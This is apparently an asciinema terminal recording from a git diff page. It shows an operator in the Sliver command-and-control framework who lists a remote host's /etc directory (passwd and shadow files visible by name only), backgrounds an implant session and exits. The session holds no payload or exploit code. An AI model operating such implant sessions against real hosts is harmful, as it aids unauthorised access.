[50.834272, "o", " os-release -> ../usr/lib/os-release 21 B Thu Feb 16 16:02:32 +0000 2023\r\n-rw-r--r-- root:root pam.conf 552 B Wed Aug 12 00:15:04 +0000 2020\r\ndrwxr-xr-x root:root pam.d <dir> Tue Apr 25 14:06:18 +0000 2023\r\n-rw-r--r-- root:root passwd 922 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root profile 582 B Fri Oct 15 10:06:05 +0000 2021\r\ndrwxr-xr-x root:root profile.d <dir> Tue Apr 25 14:06:16 +0000 2023\r\ndrwxr-xr-x root:root python3 <dir> Wed May 01 11:42:42 +0000 2024\r\ndrwxr-xr-x root:root python3.10 <dir> Wed May 01 11:42:32 +0000 2024\r\ndrwxr-xr-x root:root rc0.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc1.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr"]
|
||||
[50.834339, "o", "-x root:root rc2.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc3.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc4.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc5.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc6.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rcS.d <dir> Tue Apr 25 14:03:13 +0000 2023\r\n-rw-r--r-- root:root resolv.conf 97 B Wed May 01 11:41:24 +0000 2024\r\nLrwxrwxrwx root:root rmt -> /usr/sbin/rmt-tar 13 B Wed Feb 15 15:45:50 +0000 2023\r\ndrwxr-xr-x root:root security <dir> Tue Apr 25 14:06:17 +0000 2023\r\ndrwxr-xr-x root:root selinux <dir> Tue Apr 25 14:05:13 +000"]
|
||||
[50.834902, "o", "0 2023\r\n-rw-r----- root:shadow shadow 501 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root shells 142 B Wed May 01 12:11:33 +0000 2024\r\ndrwxr-xr-x root:root skel <dir> Tue Apr 25 14:03:24 +0000 2023\r\ndrwxr-xr-x root:root ssl <dir> Wed May 01 13:50:43 +0000 2024\r\n-rw-r--r-- root:root subgid 0 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root subuid 0 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root sysctl.conf 2.3 KiB Fri Feb 25 11:32:20 +0000 2022\r\ndrwxr-xr-x root:root sysctl.d <dir> Tue Apr 25 14:05:58 +0000 2023\r\ndrwxr-xr-x root:root systemd <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root terminfo <dir> Tue Apr "]
|
||||
[50.834977, "o", "25 14:05:50 +0000 2023\r\ndrwxr-xr-x root:root update-motd.d <dir> Tue Apr 25 14:06:16 +0000 2023\r\n-rw-r--r-- root:root xattr.conf 681 B Wed Mar 23 09:41:49 +0000 2022\r\n\r\n\r\n"]
|
||||
[50.850839, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[50.850978, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[50.851034, "o", "\u001b[6n"]
|
||||
[50.853243, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[52.794065, "o", "\u001b[?25l"]
|
||||
[52.795694, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[52.811379, "o", "b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[52.811839, "o", "\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[52.880998, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[52.883904, "o", "ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[53.023473, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.02698, "o", "bac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[53.141757, "o", "\u001b[?25l"]
|
||||
[53.142137, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[53.144837, "o", "\u001b[6n"]
|
||||
[53.148545, "o", "back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[53.149522, "o", "\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[53.277628, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.287967, "o", "backg\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[53.328989, "o", "\u001b[?25l\u001b[107D"]
|
||||
[53.329901, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.332245, "o", "backgr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[53.333298, "o", "\u001b[107D\u001b[1A\u001b[37D\u001b[31C\u001b[107D\u001b[37C\u001b[?25h"]
|
||||
[53.387784, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[53.388886, "o", "\u001b[6n"]
|
||||
[53.390433, "o", "backgro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[53.390674, "o", "\u001b[1A\u001b[38D\u001b[31C\u001b[107D\u001b[38C\u001b[?25h"]
|
||||
[53.446915, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.449749, "o", "backgrou\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[39D\u001b[31C\u001b[107D\u001b[39C\u001b[?25h"]
|
||||
[53.491784, "o", "\u001b[?25l\u001b[107D"]
|
||||
[53.492463, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.495225, "o", "backgroun\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[53.495792, "o", "\u001b[1A\u001b[40D\u001b[31C\u001b[107D\u001b[40C\u001b[?25h"]
|
||||
[53.550209, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.554691, "o", "\u001b[1m\u001b[32mbackground\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[53.554816, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[41D\u001b[31C\u001b[107D\u001b[41C\u001b[?25h"]
|
||||
[53.729192, "o", "\u001b[41D\u001b[31C\u001b[6n"]
|
||||
[53.741159, "o", "\u001b[107D\u001b[41C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[53.769632, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBackground ...\r\n\r\n"]
|
||||
[53.780366, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[53.780801, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[53.782338, "o", "\u001b[6n"]
|
||||
[53.784762, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C"]
|
||||
[53.785937, "o", "\u001b[?25h"]
|
||||
[54.215505, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[54.216141, "o", "\u001b[6n"]
|
||||
[54.21991, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[54.2212, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[54.379919, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[54.380426, "o", "\u001b[6n"]
|
||||
[54.390339, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[54.538062, "o", "\u001b[?25l"]
|
||||
[54.539033, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[54.542374, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[54.633954, "o", "\u001b[?25l\u001b[107D"]
|
||||
[54.635551, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[54.639696, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[13D\u001b[9C"]
|
||||
[54.639828, "o", "\u001b[107D\u001b[13C\u001b[?25h"]
|
||||
[55.085057, "o", "\u001b[13D\u001b[9C"]
|
||||
[55.085829, "o", "\u001b[6n"]
|
||||
[55.098144, "o", "\u001b[107D\u001b[13C\u001b[0J\u001b[107D\r\r\n\u001b[0 q"]
|
||||
[55.098526, "o", "\r\n"]
|
||||
[55.123226, "o", "Exiting...\r\n"]
|
||||
[55.14691, "o", "\u001b[?2004h"]
|
||||
[55.147476, "o", "root@98df0494f659:~# "]
|
||||
[56.321891, "o", "^C"]
|
||||
[56.324025, "o", "\u001b[?2004l\r\u001b[?2004h"]
|
||||
[56.331126, "o", "\u001b[?2004l\r\r\n\u001b[?2004hroot@98df0494f659:~# "]
|
||||
[56.76656, "o", "\u001b[?2004l\r\r\n"]
|
||||
[56.767344, "o", "exit\r\n"]
|
||||
File diff suppressed because it is too large.
Load diff
Loaded 100 of 3259 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user